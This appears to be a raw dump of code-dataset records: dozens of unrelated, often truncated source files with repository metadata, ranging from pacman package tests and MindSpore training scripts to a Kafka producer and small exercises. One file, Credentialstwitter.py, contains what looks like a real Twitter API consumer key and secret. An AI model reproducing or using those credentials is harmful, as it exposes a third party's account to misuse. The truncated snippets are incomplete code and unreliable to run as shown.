] | 3 | 2021-03-31T18:37:46.000Z | 2021-06-01T21:49:41.000Z | api/utils/explain.py | cloud-cds/cds-stack | d68a1654d4f604369a071f784cdb5c42fc855d6e | [
"Apache-2.0"
] | 3 | 2020-01-24T16:40:49.000Z | 2021-09-30T02:28:55.000Z | from collections import defaultdict
def thresholdImportances(importances):
"""
Args:
importances: a dictionary of the form {feature:importance}
Returns:
top_importances: a dictionary of thresholded importances of the form {feature:importance}
"""
top_entries = sorted(importances.ite... | 32.565217 | 100 | 0.667557 |
9c623c04a6387af7ef20c7ad77f5c504bb492fd0 | 555 | py | Python | pacman-arch/test/pacman/tests/upgrade021.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/upgrade021.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/upgrade021.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Upgrade a package, with a file in 'backup' (local modified, new unchanged)"
lp = pmpkg("dummy")
lp.files = ["etc/dummy.conf*"]
lp.backup = ["etc/dummy.conf"]
self.addpkg2db("local", lp)
p = pmpkg("dummy", "1.0-2")
p.files = ["etc/dummy.conf"]
p.backup = ["etc/dummy.conf"]
self.addpkg(p)
self.args... | 27.75 | 95 | 0.693694 |
b964b46e29e8b74b159e5e4817d767bb5e522033 | 2,376 | py | Python | research/cv/retinanet_resnet101/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 1 | 2021-11-18T08:17:44.000Z | 2021-11-18T08:17:44.000Z | research/cv/retinanet_resnet101/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | null | null | null | research/cv/retinanet_resnet101/export.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 2 | 2019-09-01T06:17:04.000Z | 2019-10-04T08:39:45.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 49.5 | 115 | 0.732323 |
6a494c71a38b5e841eaf1566d675fdbf59a19ab7 | 35 | py | Python | hark/src/ex3/ex3.py | appfs/appfs | 8cbbfa0e40e4d4a75a498ce8dd894bb2fbc3a9e3 | [
"MIT"
] | 11 | 2017-04-21T11:39:55.000Z | 2022-02-11T20:25:18.000Z | hark/src/ex3/ex3.py | appfs/appfs | 8cbbfa0e40e4d4a75a498ce8dd894bb2fbc3a9e3 | [
"MIT"
] | 69 | 2017-04-26T09:30:38.000Z | 2017-08-01T11:31:21.000Z | hark/src/ex3/ex3.py | appfs/appfs | 8cbbfa0e40e4d4a75a498ce8dd894bb2fbc3a9e3 | [
"MIT"
] | 53 | 2017-04-20T16:16:11.000Z | 2017-07-19T12:53:01.000Z | _ = '_=%r;print _%%_';
print
_ % _
| 8.75 | 22 | 0.485714 |
6a4d003618faf19984d1543472b0a9823ab87c07 | 2,688 | py | Python | pocketthrone/entities/tile.py | herrschr/pocket-throne | 819ebae250f45b0a4b15a8320e2836c0b5113528 | [
"BSD-2-Clause"
] | 4 | 2016-06-05T16:48:04.000Z | 2020-03-23T20:06:06.000Z | pocketthrone/entities/tile.py | herrschr/pocket-throne | 819ebae250f45b0a4b15a8320e2836c0b5113528 | [
"BSD-2-Clause"
] | null | null | null | pocketthrone/entities/tile.py | herrschr/pocket-throne | 819ebae250f45b0a4b15a8320e2836c0b5113528 | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from kivy.core.image import Image as CoreImage
from pocketthrone.entities.enum import TileLandscape, TileBiome, Compass
class Tile:
# sys properties
_tag = "[Tile] "
_id = -1
name = None
# default texture path
texture_names = {
"G": "tile_g",
"D": "tile_d",
"W": "tile_w",
"M": "... | 23.578947 | 81 | 0.656994 |
1662efdb7bbe35542cc70fafed548c02c0010058 | 5,551 | py | Python | imageGen.py | Gelbana/bbtag-stuff | 25384ef633e58b4d69684478863ec9ca9802f2f6 | [
"MIT"
] | null | null | null | imageGen.py | Gelbana/bbtag-stuff | 25384ef633e58b4d69684478863ec9ca9802f2f6 | [
"MIT"
] | null | null | null | imageGen.py | Gelbana/bbtag-stuff | 25384ef633e58b4d69684478863ec9ca9802f2f6 | [
"MIT"
] | null | null | null | import os,struct
from cStringIO import StringIO
from PIL import Image, ImageDraw
from collections import OrderedDict
"""Again, adapted from Dantarion's tools' extracts hitboxes from BBTAG files.
Takes image resources and kind of throws them together as a makeshift hitbox viewer.
Colour offset is wrong, I'll ... | 31.902299 | 108 | 0.618807 |
169552519b6e0caf4046dccee3b64c63e50e41cb | 617 | py | Python | example/intro/single_message.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 8 | 2022-02-24T14:59:24.000Z | 2022-03-31T04:37:55.000Z | example/intro/single_message.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 3 | 2022-02-27T17:08:52.000Z | 2022-03-18T13:11:01.000Z | example/intro/single_message.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 2 | 2022-02-24T15:03:07.000Z | 2022-03-15T03:12:00.000Z | import json
import os
from confluent_kafka import Message, Producer
def acked(err: str, msg: Message) -> None:
if err is not None:
print(
f"Failed delivery to {msg.topic()}, message: {msg.value()}, error: {err}",
)
else:
print(f"Successful delivery to {msg.topic()}, partio... | 30.85 | 106 | 0.661264 |
bc5ee619aaaf7d6755bb8998410d2e1bed7270b7 | 300 | py | Python | pacman-termux/test/pacman/tests/epoch011.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/epoch011.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/epoch011.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "usbutils case study: force stays, epoch now in local db"
sp = pmpkg("usbutils", "1:002-1")
self.addpkg2db("sync", sp)
lp = pmpkg("usbutils", "1:001-1")
self.addpkg2db("local", lp)
self.args = "-Su"
self.addrule("PACMAN_RETCODE=0")
self.addrule("PKG_VERSION=usbutils|1:002-1")
| 23.076923 | 76 | 0.696667 |
bc6ecd3404677fe94680fa2150d93a486bab32fe | 1,233 | py | Python | ladon-server/software/src/python/data-extractor/DataExtractor.py | LucasRGoes/ladon-io | ab55219b461e918cc0ba45e6cdc9bcdfbce8c0d6 | [
"MIT"
] | 1 | 2018-04-29T22:33:42.000Z | 2018-04-29T22:33:42.000Z | ladon-server/software/src/python/data-extractor/DataExtractor.py | LucasRGoes/ladon-io | ab55219b461e918cc0ba45e6cdc9bcdfbce8c0d6 | [
"MIT"
] | null | null | null | ladon-server/software/src/python/data-extractor/DataExtractor.py | LucasRGoes/ladon-io | ab55219b461e918cc0ba45e6cdc9bcdfbce8c0d6 | [
"MIT"
] | null | null | null | ## IMPORTS ##
import base64 # Base64: Base16, Base32, Base64 data encodings
import cv2 # OpenCV: usage ranges from interactive art, to mines inspection, stitching maps on the web or through advanced robotics
import json # Json: is a lightweight data interchange format inspired by JavaScript object l... | 31.615385 | 138 | 0.757502 |
d5de6d858953fe7bef74c53ee2e20749b7144232 | 9,125 | py | Python | docker/api/api/models/measures.py | healthIMIS/aha-kompass | 7b7cae24502c0c0e5635c587cfef797a93ae02b5 | [
"MIT"
] | 2 | 2021-03-23T20:32:38.000Z | 2021-04-21T11:20:12.000Z | docker/api/api/models/measures.py | healthIMIS/aha-kompass | 7b7cae24502c0c0e5635c587cfef797a93ae02b5 | [
"MIT"
] | 4 | 2021-04-19T11:00:55.000Z | 2021-04-20T08:21:48.000Z | docker/api/api/models/measures.py | healthIMIS/aha-kompass | 7b7cae24502c0c0e5635c587cfef797a93ae02b5 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Corona-Info-App
# Measures
# © 2020 Tobias Höpp und Johannes Kreutz.
# Include dependencies
import enum
from main import db
import json
class sources(db.Model):
#Datenquellen für Maßnahmen
__tablename__ = "sources"
id = db.Column(db.Integer, primary_key=True)
text = db.Column(db.... | 51.846591 | 269 | 0.732274 |
e6b1b61994314b933c041e332c3c59a6711c958d | 29,893 | py | Python | Integrations/python/deephaven/java_to_python.py | devinrsmith/deephaven-core | 3a6930046faf1cd556f62a914ce1cfd7860147b9 | [
"MIT"
] | null | null | null | Integrations/python/deephaven/java_to_python.py | devinrsmith/deephaven-core | 3a6930046faf1cd556f62a914ce1cfd7860147b9 | [
"MIT"
] | null | null | null | Integrations/python/deephaven/java_to_python.py | devinrsmith/deephaven-core | 3a6930046faf1cd556f62a914ce1cfd7860147b9 | [
"MIT"
] | null | null | null | #
# Copyright (c) 2016-2021 Deephaven Data Labs and Patent Pending
#
"""
Utilities for converting Deephaven java objects to appropriate python objects.
"""
import logging
import jpy
import numpy
import pandas
from .conversion_utils import _nullValues, NULL_CHAR, NULL_CONVERSION, _arrayTypes, \
_isStr, _isDbArra... | 51.717993 | 120 | 0.675576 |
e6c897797ca09d36a4eca86a6b273e0d96c1dcd3 | 443 | py | Python | src/heatmaps/calheatmaps.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/heatmaps/calheatmaps.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | src/heatmaps/calheatmaps.py | Ellon-M/visualizations | 5a42c213ea8fd0597e2035778d9ae6460eb9e821 | [
"MIT"
] | null | null | null | # calendar heatmap
import matplotlib as mpl
import calmap
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/yahoo.csv", parse_dates=['date'])
df.set_index('date', inplace=True)
# Plot
plt.figure(figsize=(16,10), dpi= 80)
calmap.calendarplot(df['2014']['VIX.Close'], fig_kws={'... | 31.642857 | 166 | 0.72009 |
5dd2421d5a993c893f7e341adb2a6ffdf591acfa | 7,637 | py | Python | src/onegov/election_day/utils/election/lists.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/utils/election/lists.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/utils/election/lists.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from collections import OrderedDict, defaultdict
from itertools import groupby
from onegov.ballot import List, ElectionCompound
from onegov.core.orm import as_selectable_from_path
from onegov.core.utils import module_path
from onegov.election_day import _
from sqlalchemy import desc, select
from sqlalchemy.orm import ... | 32.636752 | 78 | 0.555716 |
b903a92d71b47448d269b4409bba3b6666788799 | 10,382 | py | Python | official/cv/googlenet/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/googlenet/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/googlenet/train.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 40.874016 | 114 | 0.630225 |
5d23ce739ce6e365ca1f40185569811807c8b752 | 14,416 | py | Python | examples/Introduction/LyrikParser_example.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 2 | 2020-12-25T19:37:42.000Z | 2021-03-26T04:59:12.000Z | examples/Introduction/LyrikParser_example.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 6 | 2018-08-07T22:48:52.000Z | 2021-10-07T18:38:20.000Z | examples/Introduction/LyrikParser_example.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
#######################################################################
#
# SYMBOLS SECTION - Can be edited. Changes will be preserved.
#
#######################################################################
import collections
from functools import partial
import os
import sys
from typing im... | 34.990291 | 100 | 0.62056 |
54d3180299ea7071f8d7c2836872d98a8b170396 | 3,363 | py | Python | python/oneflow/compatible/single_client/nn/modules/argsort.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 1 | 2021-09-13T02:34:53.000Z | 2021-09-13T02:34:53.000Z | python/oneflow/compatible/single_client/nn/modules/argsort.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | null | null | null | python/oneflow/compatible/single_client/nn/modules/argsort.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 1 | 2021-01-17T03:34:39.000Z | 2021-01-17T03:34:39.000Z | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 35.4 | 105 | 0.635445 |
4afd785eb6b1fa6a5f200cf1bfa5baba32981c4b | 110 | py | Python | Credentialstwitter.py | illy777/Python_uebungen | 0106ebd8885974c0e22549688e33c49ddbbff179 | [
"Unlicense"
] | null | null | null | Credentialstwitter.py | illy777/Python_uebungen | 0106ebd8885974c0e22549688e33c49ddbbff179 | [
"Unlicense"
] | null | null | null | Credentialstwitter.py | illy777/Python_uebungen | 0106ebd8885974c0e22549688e33c49ddbbff179 | [
"Unlicense"
] | null | null | null | ConsumerKey= "EzDbhlelyQmUFnPvPOJTaIeNu"
ConsumerSecret = "nn2Aj8PXAtEGiacux9kwIKd38pMa7OQBCVShYht1AK7zxlXHSU" | 55 | 69 | 0.909091 |
72d9d99306a329d95fb10324f7a85413fa5470ae | 296 | py | Python | cs/lambda_cs/08_interview_prep/exercises/repeated_string.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | cs/lambda_cs/08_interview_prep/exercises/repeated_string.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | 8 | 2020-03-24T17:47:23.000Z | 2022-03-12T00:33:21.000Z | cs/lambda_cs/08_interview_prep/exercises/repeated_string.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | """
Interview prep - day 1 :: Problem solving exercise
HackerRank | Repeated String problem
https://www.hackerrank.com/challenges/repeated-string/
"""
def repeatedString(s, n):
pass
if __name__ == "__main__":
s = "aba"
n = 10
result = repeatedString(s, n)
print(result)
| 15.578947 | 54 | 0.662162 |
f46e3eb93c5835494fd85facdc4d5dd141ad4fec | 4,388 | py | Python | research/cv/Auto-DeepLab/src/utils/loss.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/Auto-DeepLab/src/utils/loss.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/Auto-DeepLab/src/utils/loss.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 34.551181 | 84 | 0.636053 |
bea5faf13a96034189d0c7cc5d33d26b7cf57fb1 | 11,989 | py | Python | raw_code/pulson440/Misaligned Data (GUI version).py | stevenruidigao/bwsiuassar2019 | 25e267d2c9d96c767f7f9ea168a27bcad56690b7 | [
"MIT"
] | null | null | null | raw_code/pulson440/Misaligned Data (GUI version).py | stevenruidigao/bwsiuassar2019 | 25e267d2c9d96c767f7f9ea168a27bcad56690b7 | [
"MIT"
] | null | null | null | raw_code/pulson440/Misaligned Data (GUI version).py | stevenruidigao/bwsiuassar2019 | 25e267d2c9d96c767f7f9ea168a27bcad56690b7 | [
"MIT"
] | null | null | null | #imports desired libs
import pickle
import numpy as np
import matplotlib as mpl
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
import pandas as pd
from pathlib import Path
import sys
if Path("..//").resolve().as_posix() not in sys.path:
sys.path.insert(0, Path("..//").resolve().as_posix())... | 37.232919 | 177 | 0.665694 |
22c8774571040806e3b6ba5c6230ac6eabf0eb26 | 620 | py | Python | challenges/swapAdjacentBits/python3/swapAdjacentBits.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 5 | 2020-05-21T03:02:34.000Z | 2021-09-06T04:24:26.000Z | challenges/swapAdjacentBits/python3/swapAdjacentBits.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 6 | 2019-04-24T03:39:26.000Z | 2019-05-03T02:10:59.000Z | challenges/swapAdjacentBits/python3/swapAdjacentBits.py | jimmynguyen/codefights | f4924fcffdb4ff14930618bb1a781e4e02e9aa09 | [
"MIT"
] | 1 | 2021-09-06T04:24:27.000Z | 2021-09-06T04:24:27.000Z | def swapAdjacentBits(n):
return ((n & 0xAAAAAAAA) >> 1) | ((n & 0x55555555) << 1)
if __name__ == '__main__':
input0 = [13, 74, 1073741823, 0, 1, 83748]
expectedOutput = [14, 133, 1073741823, 0, 2, 166680]
assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOutput = {}'.format(len(input0), len(expe... | 56.363636 | 123 | 0.685484 |
22debfcddbba122bd5166919e75c2794eb43ffd9 | 70 | py | Python | warp/pipes/__init__.py | j-helland/warp | 2a71346f0ec4d4e6fd45ed3b5e972b683724287c | [
"Unlicense"
] | null | null | null | warp/pipes/__init__.py | j-helland/warp | 2a71346f0ec4d4e6fd45ed3b5e972b683724287c | [
"Unlicense"
] | null | null | null | warp/pipes/__init__.py | j-helland/warp | 2a71346f0ec4d4e6fd45ed3b5e972b683724287c | [
"Unlicense"
] | null | null | null | from .pipes import *
from .attributes import *
from .abstract import * | 23.333333 | 25 | 0.757143 |
fe145345cba83c0907047b0e1584a64636e0c84a | 1,224 | py | Python | 1609/Fcat_1609_bfs.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | 1609/Fcat_1609_bfs.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | 1609/Fcat_1609_bfs.py | Leetcode-Secret-Society/warehouse | 40d7969683b1296f361e799cda37f15ceec52af8 | [
"MIT"
] | null | null | null | from typing import Optional
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def isEvenOddTree(self, root: Optional[TreeNode]) -> bool:
examined_queue = [[... | 29.142857 | 62 | 0.477941 |
4aa10c77568bd86813214141e6cd9b8b64abfeaf | 1,036 | py | Python | aecb/api/permissions.py | snvc00/aecb-backend | 96847008d7b8d986099c0ce08e1026926ef3c68d | [
"MIT"
] | null | null | null | aecb/api/permissions.py | snvc00/aecb-backend | 96847008d7b8d986099c0ce08e1026926ef3c68d | [
"MIT"
] | null | null | null | aecb/api/permissions.py | snvc00/aecb-backend | 96847008d7b8d986099c0ce08e1026926ef3c68d | [
"MIT"
] | null | null | null | from rest_framework import permissions
from .auth import GoogleTokenAuth
class ClientPermission(permissions.BasePermission):
def has_permission(self, request, view):
token = request.headers.get("Token", "")
auth_result = GoogleTokenAuth.authenticate(token)
self.message = auth_result.detail... | 45.043478 | 142 | 0.728764 |
43b4f76a4a77134a5d26751091dd26d31d430b31 | 60 | py | Python | Queues/MergeKSortedLinkedLists.py | dileeppandey/hello-interview | 78f6cf4e2da4106fd07f4bd86247026396075c69 | [
"MIT"
] | null | null | null | Queues/MergeKSortedLinkedLists.py | dileeppandey/hello-interview | 78f6cf4e2da4106fd07f4bd86247026396075c69 | [
"MIT"
] | null | null | null | Queues/MergeKSortedLinkedLists.py | dileeppandey/hello-interview | 78f6cf4e2da4106fd07f4bd86247026396075c69 | [
"MIT"
] | 1 | 2020-02-12T16:57:46.000Z | 2020-02-12T16:57:46.000Z | """
https://leetcode.com/problems/merge-k-sorted-lists/
"""
| 15 | 51 | 0.683333 |
880388908985542b55b29bdf32ae886ff853b9ec | 217 | py | Python | Python/Courses/Python-Tutorials.Zulkarnine-Mahmud/00.Fundamentals/05.String.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Zulkarnine-Mahmud/00.Fundamentals/05.String.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Zulkarnine-Mahmud/00.Fundamentals/05.String.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | person_name = "Shihab "
food = "burger"
concatenated_string = person_name + food
print(concatenated_string)
value = 9
shihab_with_value = person_name + " " + str(value)
print(f"Length of name: {len(person_name)}")
| 19.727273 | 50 | 0.732719 |
46184947f54f6a213a2bd5a666d5abe7c67ad703 | 5,868 | py | Python | src/classifier/torch_helpers/torch_training.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 14 | 2021-08-24T12:36:37.000Z | 2022-03-18T12:14:36.000Z | src/classifier/torch_helpers/torch_training.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | null | null | null | src/classifier/torch_helpers/torch_training.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 1 | 2021-10-21T20:22:55.000Z | 2021-10-21T20:22:55.000Z | import os
from datetime import datetime
import hydra.utils
import mlflow.pytorch
import numpy as np
import pytorch_lightning as pl
import torch
from pytorch_lightning.callbacks import EarlyStopping, ModelCheckpoint
from sklearn.model_selection import train_test_split, StratifiedKFold
from src.classifier.classifier_t... | 34.116279 | 92 | 0.632924 |
1cd75273acfb8ae0327440c8115ede8a04bae88f | 1,544 | py | Python | official/cv/srcnn/src/metric.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/srcnn/src/metric.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/srcnn/src/metric.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 32.851064 | 99 | 0.615285 |
40c5976083e061bd8cad8d783ad9147749a32476 | 2,169 | py | Python | examples/time_series/tcn/model.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | examples/time_series/tcn/model.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | examples/time_series/tcn/model.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 40.166667 | 128 | 0.651452 |
294206b96326d4e0e106309504cf15f7c55b0005 | 1,944 | py | Python | gdp1/assignment_3/map.py | einekatze/gdp1-homework | 28889dfa1863e1f1dee164e5b465dddb1cfacfcc | [
"MIT"
] | null | null | null | gdp1/assignment_3/map.py | einekatze/gdp1-homework | 28889dfa1863e1f1dee164e5b465dddb1cfacfcc | [
"MIT"
] | null | null | null | gdp1/assignment_3/map.py | einekatze/gdp1-homework | 28889dfa1863e1f1dee164e5b465dddb1cfacfcc | [
"MIT"
] | null | null | null | import csv
from os import path
from gdp1.common.input_helpers import str_input
def import_capitals_from_csv(path):
"""Imports a dictionary that maps country names to capital names.
@param string path: The path of the CSV file to import this data from.
@return dict: A dictionary of the format {"Germany":... | 29.454545 | 94 | 0.649691 |
d3d894d1d222a430d6d94b1a1f27649ed7b6c55f | 1,591 | py | Python | volley/models/pydantic_model.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 8 | 2022-02-24T14:59:24.000Z | 2022-03-31T04:37:55.000Z | volley/models/pydantic_model.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 3 | 2022-02-27T17:08:52.000Z | 2022-03-18T13:11:01.000Z | volley/models/pydantic_model.py | shipt/py-volley | 0114651478c8df7304d3fe3cb9f72998901bb3fe | [
"MIT"
] | 2 | 2022-02-24T15:03:07.000Z | 2022-03-15T03:12:00.000Z | from typing import Any, Dict, Type, TypeVar
from pydantic import BaseModel, Extra
from volley.models.base import BaseModelHandler
BaseModelType = TypeVar("BaseModelType", bound=BaseModel)
class PydanticModelHandler(BaseModelHandler):
"""for pydantic model that offloads serialization to serializer"""
def c... | 31.196078 | 95 | 0.706474 |
732b44fee1a5f1f6ef040d80489712b5313f0c8e | 63 | py | Python | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-007/pg-7.7-function-dufault-farameter.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-007/pg-7.7-function-dufault-farameter.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-007/pg-7.7-function-dufault-farameter.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | def myfnc(y=10):
print("y =", y)
x = 20
myfnc(x)
myfnc()
| 7.875 | 19 | 0.507937 |
b42fa54b12e19e264a723c631e1946e4e15e0754 | 15,848 | py | Python | model_zoo/ernie-doc/run_mrc.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | model_zoo/ernie-doc/run_mrc.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | model_zoo/ernie-doc/run_mrc.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 45.022727 | 168 | 0.617113 |
c3088195889b7a34c80658f7171a4396c5d00674 | 249 | py | Python | src/bo4e/enum/preisstatus.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
